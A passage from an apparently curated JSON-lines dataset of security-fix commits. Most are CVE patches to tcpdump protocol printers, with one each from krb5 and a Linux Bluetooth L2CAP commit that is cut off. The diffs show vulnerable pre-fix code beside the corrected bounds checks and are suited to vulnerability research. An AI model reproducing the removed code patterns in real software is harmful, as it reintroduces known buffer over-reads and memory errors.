\"Disabled\",\n@@ -1261,7 +1261,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[3]);\n \t\tND_PRINT((ndo, \": Window: %uK, Method: %s (0x%x), MBZ: %u, CHK: %u\",\n \t\t\t(p[2] & 0xf0) >> 4,\n \t\t\t((p[2] & 0x0f) == 8) ? \"zlib\" : \"unknown\",\n@@ -1336,7 +1336,7 @@ print_bacp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": Magic-Num 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tdefault:", "sections": [{"section": "@@ -611,7 +611,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 3);\n+\t\tND_TCHECK_24BITS(p + 2);\n \t\tND_PRINT((ndo, \": Vendor: %s (%u)\",\n \t\t\ttok2str(oui_values,\"Unknown\",EXTRACT_24BITS(p+2)),\n \t\t\tEXTRACT_24BITS(p + 2)));\n", "related": false}, {"section": "@@ -630,23 +630,23 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %u\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_ACCM:\n \t\tif (len != 6) {\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_AP:\n \t\tif (len < 4) {\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %s\", tok2str(ppptype2str, \"Unknown Auth Proto (0x04x)\", EXTRACT_16BITS(p + 2))));\n \n \t\tswitch (EXTRACT_16BITS(p+2)) {\n", "related": false}, {"section": "@@ -668,7 +668,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p+2);\n \t\tif (EXTRACT_16BITS(p+2) == PPP_LQM)\n \t\t\tND_PRINT((ndo, \": LQR\"));\n \t\telse\n", "related": false}, {"section": "@@ -679,7 +679,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_PFC:\n", "related": false}, {"section": "@@ -691,7 +691,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": 0x%04x\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_CBACK:\n", "related": false}, {"section": "@@ -710,7 +710,7 @@ print_lcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p + 2);\n \t\tND_PRINT((ndo, \": %u\", EXTRACT_16BITS(p + 2)));\n \t\tbreak;\n \tcase LCPOPT_MLED:\n", "related": false}, {"section": "@@ -1055,7 +1055,7 @@ print_ipcp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn 0;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 2);\n+\t\tND_TCHECK_16BITS(p+2);\n \t\tcompproto = EXTRACT_16BITS(p+2);\n \n \t\tND_PRINT((ndo, \": %s (0x%02x):\",\n", "related": false}, {"section": "@@ -1241,7 +1241,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 3)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[2]);\n \t\tND_PRINT((ndo, \": Version: %u, Dictionary Bits: %u\",\n \t\t\tp[2] >> 5, p[2] & 0x1f));\n \t\tbreak;\n", "related": false}, {"section": "@@ -1250,7 +1250,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[3]);\n \t\tND_PRINT((ndo, \": Features: %u, PxP: %s, History: %u, #CTX-ID: %u\",\n \t\t\t\t(p[2] & 0xc0) >> 6,\n \t\t\t\t(p[2] & 0x20) ? \"Enabled\" : \"Disabled\",\n", "related": false}, {"section": "@@ -1261,7 +1261,7 @@ print_ccp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be >= 4)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 1);\n+\t\tND_TCHECK(p[3]);\n \t\tND_PRINT((ndo, \": Window: %uK, Method: %s (0x%x), MBZ: %u, CHK: %u\",\n \t\t\t(p[2] & 0xf0) >> 4,\n \t\t\t((p[2] & 0x0f) == 8) ? \"zlib\" : \"unknown\",\n", "related": false}, {"section": "@@ -1336,7 +1336,7 @@ print_bacp_config_options(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" (length bogus, should be = 6)\"));\n \t\t\treturn len;\n \t\t}\n-\t\tND_TCHECK2(*(p + 2), 4);\n+\t\tND_TCHECK_32BITS(p + 2);\n \t\tND_PRINT((ndo, \": Magic-Num 0x%08x\", EXTRACT_32BITS(p + 2)));\n \t\tbreak;\n \tdefault:", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-rsvp.c", "commit_id": "3c8a2b0e91d8d8947e89384dacf6b54673083e71", "commit_message": "CVE-2017-13048/RSVP: fix decoding of Fast Reroute objects\n\nIn rsvp_obj_print() the case block for Class-Num 205 (FAST_REROUTE) from\nRFC 4090 Section 4.1 could over-read accessing the buffer contents before\nmaking the bounds check. Rearrange those steps the correct way around.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -1472,12 +1472,12 @@ rsvp_obj_print(netdissect_options *ndo,\n case RSVP_OBJ_FASTREROUTE:\n /* the differences between c-type 1 and 7 are minor */\n obj_ptr.rsvp_obj_frr = (const struct rsvp_obj_frr_t *)obj_tptr;\n- bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n \n switch(rsvp_obj_ctype) {\n case RSVP_CTYPE_1: /* new style */\n if (obj_tlen < sizeof(struct rsvp_obj_frr_t))\n return-1;\n+ bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n ND_PRINT((ndo, \"%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps\",\n ident,\n (int)obj_ptr.rsvp_obj_frr->setup_prio,\n@@ -1496,6 +1496,7 @@ rsvp_obj_print(netdissect_options *ndo,\n case RSVP_CTYPE_TUNNEL_IPV4: /* old style */\n if (obj_tlen < 16)\n return-1;\n+ bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n ND_PRINT((ndo, \"%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps\",\n ident,\n (int)obj_ptr.rsvp_obj_frr->setup_prio,", "sections": [{"section": "@@ -1472,12 +1472,12 @@ rsvp_obj_print(netdissect_options *ndo,\n case RSVP_OBJ_FASTREROUTE:\n /* the differences between c-type 1 and 7 are minor */\n obj_ptr.rsvp_obj_frr = (const struct rsvp_obj_frr_t *)obj_tptr;\n- bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n \n switch(rsvp_obj_ctype) {\n case RSVP_CTYPE_1: /* new style */\n if (obj_tlen < sizeof(struct rsvp_obj_frr_t))\n return-1;\n+ bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n ND_PRINT((ndo, \"%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps\",\n ident,\n (int)obj_ptr.rsvp_obj_frr->setup_prio,\n", "related": false}, {"section": "@@ -1496,6 +1496,7 @@ rsvp_obj_print(netdissect_options *ndo,\n case RSVP_CTYPE_TUNNEL_IPV4: /* old style */\n if (obj_tlen < 16)\n return-1;\n+ bw.i = EXTRACT_32BITS(obj_ptr.rsvp_obj_frr->bandwidth);\n ND_PRINT((ndo, \"%s Setup Priority: %u, Holding Priority: %u, Hop-limit: %u, Bandwidth: %.10g Mbps\",\n ident,\n (int)obj_ptr.rsvp_obj_frr->setup_prio,", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-nfs.c", "commit_id": "19d25dd8781620cd41bf178a5e2e27fc1cf242d0", "commit_message": "CVE-2017-12898/NFS: Fix bounds checking.\n\nFix the bounds checking for the NFSv3 WRITE procedure to check whether the\nlength of the opaque data being written is present in the captured data,\nnot just whether the byte count is present in the captured data.\nfurthest forward in the packet, not the item before it. (This also lets\nus eliminate the check for the \"stable\" argument being present in the\ncaptured data; rewrite the code to print that to make it a bit clearer.)\n\nCheck that the entire ar_stat field is present in the capture.\n\nNote that parse_wcc_attr() is called after we've already checked whether\nthe wcc_data is present.\n\nCheck before fetching the \"access\" part of the NFSv3 ACCESS results.\nThis fixes a buffer over-read discovered by Kamil Frankowicz.\n\nInclude a test for the \"check before fetching the \"access\" part...\" fix,\nusing the capture supplied by the reporter(s).", "patch": "@@ -628,17 +628,15 @@ nfsreq_print_noaddr(netdissect_options *ndo,\n \t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n \t\t (dp = parsefh(ndo, dp, v3)) != NULL) {\n \t\t\tif (v3) {\n-\t\t\t\tND_TCHECK(dp[2]);\n+\t\t\t\tND_TCHECK(dp[4]);\n \t\t\t\tND_PRINT((ndo, \" %u (%u) bytes @ %\" PRIu64,\n \t\t\t\t\t\tEXTRACT_32BITS(&dp[4]),\n \t\t\t\t\t\tEXTRACT_32BITS(&dp[2]),\n \t\t\t\t\t\tEXTRACT_64BITS(&dp[0])));\n \t\t\t\tif (ndo->ndo_vflag) {\n-\t\t\t\t\tdp += 3;\n-\t\t\t\t\tND_TCHECK(dp[0]);\n \t\t\t\t\tND_PRINT((ndo, \" <%s>\",\n \t\t\t\t\t\ttok2str(nfsv3_writemodes,\n-\t\t\t\t\t\t\tNULL, EXTRACT_32BITS(dp))));\n+\t\t\t\t\t\t\tNULL, EXTRACT_32BITS(&dp[3]))));\n \t\t\t\t}\n \t\t\t} else {\n \t\t\t\tND_TCHECK(dp[3]);\n@@ -1002,11 +1000,11 @@ parserep(netdissect_options *ndo,\n \t * skip past the ar_verf credentials.\n \t */\n \tdp += (len + (2*sizeof(uint32_t) + 3)) / sizeof(uint32_t);\n-\tND_TCHECK2(dp[0], 0);\n \n \t/*\n \t * now we can check the ar_stat field\n \t */\n+\tND_TCHECK(dp[0]);\n \tastat = (enum sunrpc_accept_stat) EXTRACT_32BITS(dp);\n \tif (astat != SUNRPC_SUCCESS) {\n \t\tND_PRINT((ndo, \" %s\", tok2str(sunrpc_str, \"ar_stat %d\", astat)));\n@@ -1243,6 +1241,7 @@ static const uint32_t *\n parse_wcc_attr(netdissect_options *ndo,\n const uint32_t *dp)\n {\n+\t/* Our caller has already checked this */\n \tND_PRINT((ndo, \" sz %\" PRIu64, EXTRACT_64BITS(&dp[0])));\n \tND_PRINT((ndo, \" mtime %u.%06u ctime %u.%06u\",\n \t EXTRACT_32BITS(&dp[2]), EXTRACT_32BITS(&dp[3]),\n@@ -1511,8 +1510,10 @@ interp_reply(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" attr:\"));\n \t\tif (!(dp = parse_post_op_attr(ndo, dp, ndo->ndo_vflag)))\n \t\t\tbreak;\n-\t\tif (!er)\n+\t\tif (!er) {\n+\t\t\tND_TCHECK(dp[0]);\n \t\t\tND_PRINT((ndo, \" c %04x\", EXTRACT_32BITS(&dp[0])));\n+\t\t}\n \t\treturn;\n \n \tcase NFSPROC_READLINK:", "sections": [{"section": "@@ -628,17 +628,15 @@ nfsreq_print_noaddr(netdissect_options *ndo,\n \t\tif ((dp = parsereq(ndo, rp, length)) != NULL &&\n \t\t (dp = parsefh(ndo, dp, v3)) != NULL) {\n \t\t\tif (v3) {\n-\t\t\t\tND_TCHECK(dp[2]);\n+\t\t\t\tND_TCHECK(dp[4]);\n \t\t\t\tND_PRINT((ndo, \" %u (%u) bytes @ %\" PRIu64,\n \t\t\t\t\t\tEXTRACT_32BITS(&dp[4]),\n \t\t\t\t\t\tEXTRACT_32BITS(&dp[2]),\n \t\t\t\t\t\tEXTRACT_64BITS(&dp[0])));\n \t\t\t\tif (ndo->ndo_vflag) {\n-\t\t\t\t\tdp += 3;\n-\t\t\t\t\tND_TCHECK(dp[0]);\n \t\t\t\t\tND_PRINT((ndo, \" <%s>\",\n \t\t\t\t\t\ttok2str(nfsv3_writemodes,\n-\t\t\t\t\t\t\tNULL, EXTRACT_32BITS(dp))));\n+\t\t\t\t\t\t\tNULL, EXTRACT_32BITS(&dp[3]))));\n \t\t\t\t}\n \t\t\t} else {\n \t\t\t\tND_TCHECK(dp[3]);\n", "related": false}, {"section": "@@ -1002,11 +1000,11 @@ parserep(netdissect_options *ndo,\n \t * skip past the ar_verf credentials.\n \t */\n \tdp += (len + (2*sizeof(uint32_t) + 3)) / sizeof(uint32_t);\n-\tND_TCHECK2(dp[0], 0);\n \n \t/*\n \t * now we can check the ar_stat field\n \t */\n+\tND_TCHECK(dp[0]);\n \tastat = (enum sunrpc_accept_stat) EXTRACT_32BITS(dp);\n \tif (astat != SUNRPC_SUCCESS) {\n \t\tND_PRINT((ndo, \" %s\", tok2str(sunrpc_str, \"ar_stat %d\", astat)));\n", "related": false}, {"section": "@@ -1243,6 +1241,7 @@ static const uint32_t *\n parse_wcc_attr(netdissect_options *ndo,\n const uint32_t *dp)\n {\n+\t/* Our caller has already checked this */\n \tND_PRINT((ndo, \" sz %\" PRIu64, EXTRACT_64BITS(&dp[0])));\n \tND_PRINT((ndo, \" mtime %u.%06u ctime %u.%06u\",\n \t EXTRACT_32BITS(&dp[2]), EXTRACT_32BITS(&dp[3]),\n", "related": false}, {"section": "@@ -1511,8 +1510,10 @@ interp_reply(netdissect_options *ndo,\n \t\t\tND_PRINT((ndo, \" attr:\"));\n \t\tif (!(dp = parse_post_op_attr(ndo, dp, ndo->ndo_vflag)))\n \t\t\tbreak;\n-\t\tif (!er)\n+\t\tif (!er) {\n+\t\t\tND_TCHECK(dp[0]);\n \t\t\tND_PRINT((ndo, \" c %04x\", EXTRACT_32BITS(&dp[0])));\n+\t\t}\n \t\treturn;\n \n \tcase NFSPROC_READLINK:", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-beep.c", "commit_id": "877b66b398518d9501513e0860c9f3a8acc70892", "commit_message": "CVE-2017-13010/BEEP: Do bounds checking when comparing strings.\n\nThis fixes a buffer over-read discovered by Brian 'geeknik' Carpenter.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -28,9 +28,17 @@\n */\n \n static int\n-l_strnstart(const char *tstr1, u_int tl1, const char *str2, u_int l2)\n+l_strnstart(netdissect_options *ndo, const char *tstr1, u_int tl1,\n+ const char *str2, u_int l2)\n {\n-\n+\tif (!ND_TTEST2(*str2, tl1)) {\n+\t\t/*\n+\t\t * We don't have tl1 bytes worth of captured data\n+\t\t * for the string, so we can't check for this\n+\t\t * string.\n+\t\t */\n+\t\treturn 0;\n+\t}\n \tif (tl1 > l2)\n \t\treturn 0;\n \n@@ -41,19 +49,19 @@ void\n beep_print(netdissect_options *ndo, const u_char *bp, u_int length)\n {\n \n-\tif (l_strnstart(\"MSG\", 4, (const char *)bp, length)) /* A REQuest */\n+\tif (l_strnstart(ndo, \"MSG\", 4, (const char *)bp, length)) /* A REQuest */\n \t\tND_PRINT((ndo, \" BEEP MSG\"));\n-\telse if (l_strnstart(\"RPY \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"RPY \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP RPY\"));\n-\telse if (l_strnstart(\"ERR \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"ERR \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP ERR\"));\n-\telse if (l_strnstart(\"ANS \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"ANS \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP ANS\"));\n-\telse if (l_strnstart(\"NUL \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"NUL \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP NUL\"));\n-\telse if (l_strnstart(\"SEQ \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"SEQ \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP SEQ\"));\n-\telse if (l_strnstart(\"END\", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"END\", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP END\"));\n \telse\n \t\tND_PRINT((ndo, \" BEEP (payload or undecoded)\"));", "sections": [{"section": "@@ -28,9 +28,17 @@\n */\n \n static int\n-l_strnstart(const char *tstr1, u_int tl1, const char *str2, u_int l2)\n+l_strnstart(netdissect_options *ndo, const char *tstr1, u_int tl1,\n+ const char *str2, u_int l2)\n {\n-\n+\tif (!ND_TTEST2(*str2, tl1)) {\n+\t\t/*\n+\t\t * We don't have tl1 bytes worth of captured data\n+\t\t * for the string, so we can't check for this\n+\t\t * string.\n+\t\t */\n+\t\treturn 0;\n+\t}\n \tif (tl1 > l2)\n \t\treturn 0;\n \n", "related": false}, {"section": "@@ -41,19 +49,19 @@ void\n beep_print(netdissect_options *ndo, const u_char *bp, u_int length)\n {\n \n-\tif (l_strnstart(\"MSG\", 4, (const char *)bp, length)) /* A REQuest */\n+\tif (l_strnstart(ndo, \"MSG\", 4, (const char *)bp, length)) /* A REQuest */\n \t\tND_PRINT((ndo, \" BEEP MSG\"));\n-\telse if (l_strnstart(\"RPY \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"RPY \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP RPY\"));\n-\telse if (l_strnstart(\"ERR \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"ERR \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP ERR\"));\n-\telse if (l_strnstart(\"ANS \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"ANS \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP ANS\"));\n-\telse if (l_strnstart(\"NUL \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"NUL \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP NUL\"));\n-\telse if (l_strnstart(\"SEQ \", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"SEQ \", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP SEQ\"));\n-\telse if (l_strnstart(\"END\", 4, (const char *)bp, length))\n+\telse if (l_strnstart(ndo, \"END\", 4, (const char *)bp, length))\n \t\tND_PRINT((ndo, \" BEEP END\"));\n \telse\n \t\tND_PRINT((ndo, \" BEEP (payload or undecoded)\"));", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "print-hncp.c", "commit_id": "39582c04cc5e34054b2936b423072fb9df2ff6ef", "commit_message": "CVE-2017-13042/HNCP: add DHCPv6-Data bounds checks\n\nhncp_print_rec() validates each HNCP TLV to be within the declared as\nwell as the on-the-wire packet space. However, dhcpv6_print() in the same\nfile didn't do the same for the DHCPv6 options within the HNCP\nDHCPv6-Data TLV value, which could cause an out-of-bounds read when\ndecoding an invalid packet. Add missing checks to dhcpv6_print().\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd a test using the capture file supplied by the reporter(s).", "patch": "@@ -318,6 +318,8 @@ dhcpv6_print(netdissect_options *ndo,\n \n i = 0;\n while (i < length) {\n+ if (i + 4 > length)\n+ return -1;\n tlv = cp + i;\n type = EXTRACT_16BITS(tlv);\n optlen = EXTRACT_16BITS(tlv + 2);\n@@ -329,6 +331,8 @@ dhcpv6_print(netdissect_options *ndo,\n \n ND_PRINT((ndo, \"%s\", tok2str(dh6opt_str, \"Unknown\", type)));\n ND_PRINT((ndo,\" (%u)\", optlen + 4 ));\n+ if (i + 4 + optlen > length)\n+ return -1;\n \n switch (type) {\n case DH6OPT_DNS_SERVERS:", "sections": [{"section": "@@ -318,6 +318,8 @@ dhcpv6_print(netdissect_options *ndo,\n \n i = 0;\n while (i < length) {\n+ if (i + 4 > length)\n+ return -1;\n tlv = cp + i;\n type = EXTRACT_16BITS(tlv);\n optlen = EXTRACT_16BITS(tlv + 2);\n", "related": false}, {"section": "@@ -329,6 +331,8 @@ dhcpv6_print(netdissect_options *ndo,\n \n ND_PRINT((ndo, \"%s\", tok2str(dh6opt_str, \"Unknown\", type)));\n ND_PRINT((ndo,\" (%u)\", optlen + 4 ));\n+ if (i + 4 + optlen > length)\n+ return -1;\n \n switch (type) {\n case DH6OPT_DNS_SERVERS:", "related": false}]} +{"owner": "the-tcpdump-group", "repo": "tcpdump", "language": "C", "file_name": "addrtoname.h", "commit_id": "c177cb3800a9a68d79b2812f0ffcb9479abd6eb8", "commit_message": "CVE-2017-13016/ES-IS: Fix printing of addresses in RD PDUs.\n\nAlways print the SNPA, and flag it as such; only print it as a MAC\naddress if it's 6 bytes long.\n\nIdentify the NET as such.\n\nThis fixes a buffer over-read discovered by Bhargava Shastry,\nSecT/TU Berlin.\n\nAdd tests using the capture files supplied by the reporter(s), modified\nso the capture files won't be rejected as an invalid capture.", "patch": "@@ -33,7 +33,8 @@ enum {\n LINKADDR_ETHER,\n LINKADDR_FRELAY,\n LINKADDR_IEEE1394,\n- LINKADDR_ATM\n+ LINKADDR_ATM,\n+ LINKADDR_OTHER\n };\n \n #define BUFSIZE 128", "sections": [{"section": "@@ -33,7 +33,8 @@ enum {\n LINKADDR_ETHER,\n LINKADDR_FRELAY,\n LINKADDR_IEEE1394,\n- LINKADDR_ATM\n+ LINKADDR_ATM,\n+ LINKADDR_OTHER\n };\n \n #define BUFSIZE 128", "related": false}]} +{"owner": "krb5", "repo": "krb5", "language": "C", "file_name": "src/lib/gssapi/mechglue/g_process_context.c", "commit_id": "56f7b1bc95a2a3eeb420e069e7655fb181ade5cf", "commit_message": "Preserve GSS context on init/accept failure\n\nAfter gss_init_sec_context() or gss_accept_sec_context() has created a\ncontext, don't delete the mechglue context on failures from subsequent\ncalls, even if the mechanism deletes the mech-specific context (which\nis allowed by RFC 2744 but not preferred). Check for union contexts\nwith no mechanism context in each GSS function which accepts a\ngss_ctx_id_t.\n\nCVE-2017-11462:\n\nRFC 2744 permits a GSS-API implementation to delete an existing\nsecurity context on a second or subsequent call to\ngss_init_sec_context() or gss_accept_sec_context() if the call results\nin an error. This API behavior has been found to be dangerous,\nleading to the possibility of memory errors in some callers. For\nsafety, GSS-API implementations should instead preserve existing\nsecurity contexts on error until the caller deletes them.\n\nAll versions of MIT krb5 prior to this change may delete acceptor\ncontexts on error. Versions 1.13.4 through 1.13.7, 1.14.1 through\n1.14.5, and 1.15 through 1.15.1 may also delete initiator contexts on\nerror.\n\nticket: 8598 (new)\ntarget_version: 1.15-next\ntarget_version: 1.14-next\ntags: pullup", "patch": "@@ -61,6 +61,8 @@ gss_buffer_t\t\ttoken_buffer;\n */\n \n ctx = (gss_union_ctx_id_t) context_handle;\n+ if (ctx->internal_ctx_id == GSS_C_NO_CONTEXT)\n+\treturn (GSS_S_NO_CONTEXT);\n mech = gssint_get_mechanism (ctx->mech_type);\n \n if (mech) {", "sections": [{"section": "@@ -61,6 +61,8 @@ gss_buffer_t\t\ttoken_buffer;\n */\n \n ctx = (gss_union_ctx_id_t) context_handle;\n+ if (ctx->internal_ctx_id == GSS_C_NO_CONTEXT)\n+\treturn (GSS_S_NO_CONTEXT);\n mech = gssint_get_mechanism (ctx->mech_type);\n \n if (mech) {", "related": false}]} +{"owner": "torvalds", "repo": "linux", "language": "C", "file_name": "net/bluetooth/l2cap.c", "commit_id": "f2fcfcd670257236ebf2088bbdf26f6a8ef459fe", "commit_message": "Bluetooth: Add configuration support for ERTM and Streaming mode\n\nAdd support to config_req and config_rsp to configure ERTM and Streaming\nmode. If the remote device specifies ERTM or Streaming mode, then the\nsame mode is proposed. Otherwise ERTM or Basic mode is used. And in case\nof a state 2 device, the remote device should propose the same mode. If\nnot, then the channel gets disconnected.\n\nSigned-off-by: Gustavo F. Padovan \nSigned-off-by: Marcel Holtmann ", "patch": "@@ -966,6 +966,7 @@ static int l2cap_sock_connect(struct socket *sock, struct sockaddr *addr, int al\n \tcase L2CAP_MODE_BASIC:\n \t\tbreak;\n \tcase L2CAP_MODE_ERTM:\n+\tcase L2CAP_MODE_STREAMING:\n \t\tif (enable_ertm)\n \t\t\tbreak;\n \t\t/* fall through */\n@@ -1029,6 +1030,7 @@ static int l2cap_sock_listen(struct socket *sock, int backlog)\n \tcase L2CAP_MODE_BASIC:\n \t\tbreak;\n \tcase L2CAP_MODE_ERTM:\n+\tcase L2CAP_MODE_STREAMING:\n \t\tif (enable_ertm)\n \t\t\tbreak;\n \t\t/* fall through */\n@@ -1739,15 +1741,65 @@ static void l2cap_add_conf_opt(void **ptr, u8 type, u8 len, unsigned long val)\n \t*ptr += L2CAP_CONF_OPT_SIZE + len;\n }\n \n+static int l2cap_mode_supported(__u8 mode, __u32 feat_mask)\n+{\n+\tu32 local_feat_mask = l2cap_feat_mask;\n+\tif (enable_ertm)\n+\t\tlocal_feat_mask |= L2CAP_FEAT_ERTM;\n+\n+\tswitch (mode) {\n+\tcase L2CAP_MODE_ERTM:\n+\t\treturn L2CAP_FEAT_ERTM & feat_mask & local_feat_mask;\n+\tcase L2CAP_MODE_STREAMING:\n+\t\treturn L2CAP_FEAT_STREAMING & feat_mask & local_feat_mask;\n+\tdefault:\n+\t\treturn 0x00;\n+\t}\n+}\n+\n+static inline __u8 l2cap_select_mode(__u8 mode, __u16 remote_feat_mask)\n+{\n+\tswitch (mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tif (l2cap_mode_supported(mode, remote_feat_mask))\n+\t\t\treturn mode;\n+\t\t/* fall through */\n+\tdefault:\n+\t\treturn L2CAP_MODE_BASIC;\n+\t}\n+}\n+\n static int l2cap_build_conf_req(struct sock *sk, void *data)\n {\n \tstruct l2cap_pinfo *pi = l2cap_pi(sk);\n \tstruct l2cap_conf_req *req = data;\n-\tstruct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_BASIC };\n+\tstruct l2cap_conf_rfc rfc = { .mode = L2CAP_MODE_ERTM };\n \tvoid *ptr = req->data;\n \n \tBT_DBG(\"sk %p\", sk);\n \n+\tif (pi->num_conf_req || pi->num_conf_rsp)\n+\t\tgoto done;\n+\n+\tswitch (pi->mode) {\n+\tcase L2CAP_MODE_STREAMING:\n+\tcase L2CAP_MODE_ERTM:\n+\t\tpi->conf_state |= L2CAP_CONF_STATE2_DEVICE;\n+\t\tif (!l2cap_mode_supported(pi->mode, pi->conn->feat_mask)) {\n+\t\t\tstruct l2cap_disconn_req req;\n+\t\t\treq.dcid = cpu_to_le16(pi->dcid);\n+\t\t\treq.scid = cpu_to_le16(pi->scid);\n+\t\t\tl2cap_send_cmd(pi->conn, l2cap_get_ident(pi->conn),\n+\t\t\t\t\tL2CAP_DISCONN_REQ, sizeof(req), &req);\n+\t\t}\n+\t\tbreak;\n+\tdefault:\n+\t\tpi->mode = l2cap_select_mode(rfc.mode, pi->conn->feat_mask);\n+\t\tbreak;\n+\t}\n+\n+done:\n \tswitch (pi->mode) {\n \tcase L2CAP_MODE_BASIC:\n \t\tif (pi->imtu != L2CAP_DEFAULT_MTU)\n@@ -1756,10 